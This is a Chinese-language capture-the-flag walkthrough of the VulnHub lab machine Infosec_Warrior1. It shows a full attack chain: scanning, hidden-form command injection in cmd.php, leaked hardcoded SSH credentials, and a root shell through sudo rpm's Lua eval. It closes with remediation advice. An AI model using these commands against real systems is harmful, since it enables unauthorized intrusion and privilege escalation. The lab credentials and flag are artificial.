VulnHub 靶机实战:Infosec_Warrior1 从信息收集到 Root 提权全流程
前言
Infosec_Warrior1 是 VulnHub 平台上的入门级靶机,覆盖了从信息收集、Web 漏洞利用到本地提权的完整渗透流程,非常适合网络安全新手夯实基础。本文将按照标准渗透测试流程,复现从主机发现到获取 Root 权限的全过程,并补充对应漏洞原理与防御建议。
0x00 靶机介绍与环境准备
靶机基本信息
- 靶机名称:Infosec_Warrior1
- 难度等级:入门级
- 官方来源:VulnHub 官方站点
- 渗透目标:获取普通用户权限,最终提升至 root 权限并读取 flag 文件
实验环境
- 攻击机:Kali Linux(IP:192.168.241.140)
- 靶机:Infosec_Warrior1(同网段虚拟机)
- 网络模式:VMware NAT 模式,攻击机与靶机处于同一二层网络
- 核心工具:arp-scan、nmap、dirsearch、浏览器开发者工具
0x01 信息收集阶段
1. 主机存活探测:arp-scan 二层扫描
靶机与攻击机同属 NAT 网段,首先通过 ARP 协议进行二层主机发现,快速定位靶机 IP 地址。
arp-scan-l扫描共发现 4 台存活主机,结合 MAC 地址前缀均为 VMware 虚拟机标识,通过排除法确定靶机 IP 为192.168.241.139。### 2. 端口与服务指纹探测:Nmap 全端口扫描
定位靶机 IP 后,使用 Nmap 进行全端口扫描、服务版本识别与系统探测,全面掌握靶机开放的服务与组件信息。
nmap-A-sV-p-192.168.241.139核心扫描结果整理如下:
- 22/tcp 开放:OpenSSH 5.3(protocol 2.0),为 CentOS 系统默认版本
- 80/tcp 开放:Apache httpd 2.2.15,运行于 CentOS 系统
- 操作系统推测:Linux 2.6.x 内核,与 CentOS 6 版本特征匹配
3. Web 目录爆破:dirsearch 路径探测
靶机 80 端口开放 Web 服务,直接访问 IP 仅显示 Apache 默认测试页,使用 dirsearch 对站点进行目录与文件爆破,挖掘隐藏路径。
dirsearch-uhttp://192.168.241.139扫描结果中重点关注两个关键路径:
/sitemap.xml:状态码 200,为站点地图文件,通常包含站点 URL 信息/wordpress/:状态码 500,存在 WordPress 程序但运行异常,可作为备用突破口
0x02 Web 端漏洞挖掘与利用
1. 站点地图泄露:虚拟主机域名发现
访问http://192.168.241.139/sitemap.xml,文件内包含域名infosecwarrior.com。由此可判断靶机配置了基于域名的虚拟主机,直接访问 IP 只会返回默认站点,必须绑定域名解析才能访问目标业务站点。
在攻击机的/etc/hosts文件中添加域名与 IP 的映射关系,实现域名解析:
echo"192.168.241.139 infosecwarrior.com">>/etc/hosts2. 前端隐藏绕过:命令执行入口定位
绑定域名后访问http://infosecwarrior.com/index.html,页面仅展示 “Keep Calm And HACK” 标题与动图,无明显交互功能。通过 F12 打开浏览器开发者工具审查页面源码,发现一个被隐藏的表单:
<formaction="/cmd.php"hidden="True"method="GET"><inputtype="text"name="AI"value=""maxlength="100"><inputtype="submit"value="Submit"></form>此处存在两个关键信息:
- 站点存在
cmd.php页面,从命名判断大概率为命令执行功能,接收参数名为AI - 表单默认使用 GET 请求,结合常规开发逻辑,推测后端可能对请求方法做了限制
在开发者工具中删除表单的hidden属性,并将请求方法从GET修改为POST,页面即可显示命令输入框与提交按钮。
3. 漏洞验证:POST 型命令注入
在输入框中输入ifconfig并提交,页面成功返回靶机的网卡配置信息,与靶机 IP、MAC 地址完全匹配,确认此处存在 POST 型命令注入漏洞。
4. 敏感信息获取:读取源码得到 SSH 凭证
利用已验证的命令执行漏洞,读取cmd.php的源码,进一步挖掘后端逻辑与敏感信息。
在输入框中提交命令:
catcmd.php返回的完整 PHP 源码如下,既验证了「仅接受 POST 请求」的后端逻辑,也包含了硬编码的 SSH 账号密码:
<?phpif($_SERVER['REQUEST_METHOD']!='POST'){echo"Try other method";die;}if(isset($_POST['AI'])){echo"You Found ME : - (";echo" ";$cmd=($_POST['AI']);system($cmd);echo" ";die;}else{header("Location: https://www.armourinfosec.com/category/information-gathering/");}$user="isw0";$pass="123456789blabla";?>成功获取 SSH 登录凭证:
- 用户名:
isw0 - 密码:
123456789blabla
0x03 SSH 登录与权限提升
1. 普通用户 SSH 登录
使用获取到的凭证登录靶机 SSH。由于靶机 OpenSSH 版本较老,默认使用 ssh-rsa 算法,高版本 Kali 的 SSH 客户端默认禁用该算法,需添加参数兼容登录:
ssh-oHostKeyAlgorithms=+ssh-rsa isw0@192.168.241.139登录成功后,可在 isw0 用户的家目录中找到用户级 flag。
2. 提权前置:权限配置信息收集
获取普通用户权限后,首先查看当前用户的 sudo 权限配置,寻找提权突破口:
sudo-l执行结果显示,isw0 用户可以 root 身份执行多个命令,其中包含高危的 rpm 命令,属于典型的 sudo 权限配置不当漏洞,是本次提权的核心利用点。
User isw0 may run the following commands on this host: (!root) NOPASSWD: /bin/bash (root) /bin/ping, (root) /bin/ping6, (root) /bin/rpm, (root) /bin/ls, (root) /bin/mktemp3. 提权实战:利用 rpm 执行 Lua 脚本提权
参考 GTFOBins 的 rpm 提权方法,利用 rpm 命令内置的 Lua 解释器执行系统命令,直接获取 root 权限 Shell。
执行提权命令:
sudorpm--eval'%{lua:os.execute("/bin/sh")}'提权原理解析
--eval:rpm 的内置参数,用于执行指定的宏表达式%{lua:...}:rpm 调用内置 Lua 解释器的固定语法os.execute("/bin/sh"):Lua 语言的系统调用函数,启动一个 /bin/sh 交互 Shell
由于 rpm 命令以 root 权限运行,启动的 Shell 也会继承 root 权限,最终实现权限提升。执行后提示符变为sh-4.1#,代表提权成功。
4. 获取 Root Flag
提权成功后,切换至 root 目录,读取最终的 root flag:
cd/rootcatflag.txt成功获取 flag 内容:fc9c6eb6265921315e7c70aebd22af7e
0x04 漏洞总结与防御方案
完整攻击链路复盘
本次渗透形成了完整的攻击链条,环环相扣:
- 信息泄露:sitemap.xml 未做权限控制,泄露站点内部域名,突破虚拟主机访问限制
- 前端防护失效:仅通过 HTML 的 hidden 属性隐藏敏感功能,无后端校验,可被轻易绕过
- 命令注入漏洞:cmd.php 未对用户输入做任何过滤与校验,直接传入 system 函数执行系统命令
- 敏感信息硬编码:SSH 账号密码明文写在 Web 源码中,通过漏洞可直接读取
- sudo 权限配置不当:普通用户被赋予 rpm 等高风险命令的 root 执行权限,为本地提权提供入口
针对性防御建议
- 敏感文件管控:对外站点的 sitemap.xml、robots.txt 等文件避免包含内部域名与敏感路径,生产环境可限制访问来源
- 前后端双重校验:敏感功能必须在后端做权限与身份校验,不能仅依赖前端隐藏、前端禁用等客户端防护手段
- 命令注入防护:禁止直接将用户输入拼接进系统命令执行函数;如业务必须执行系统命令,需严格使用白名单机制限制可执行命令范围
- 敏感信息脱敏:严禁在 Web 源码、配置文件中硬编码账号密码、密钥等敏感信息,应使用独立的加密配置中心管理
- 遵循最小权限原则:严格限制普通用户的 sudo 权限,仅授予业务必需的命令,禁止为普通用户开放 rpm、find、python、bash 等高风险命令的 root 执行权限
写在最后
Infosec_Warrior1 作为入门靶机,覆盖了渗透测试最核心的基础流程,每个漏洞点都对应着真实业务中常见的安全问题。练习过程中不仅要掌握操作命令,更要理解每一步的渗透思路与漏洞原理,才能把靶场知识迁移到实战场景中。
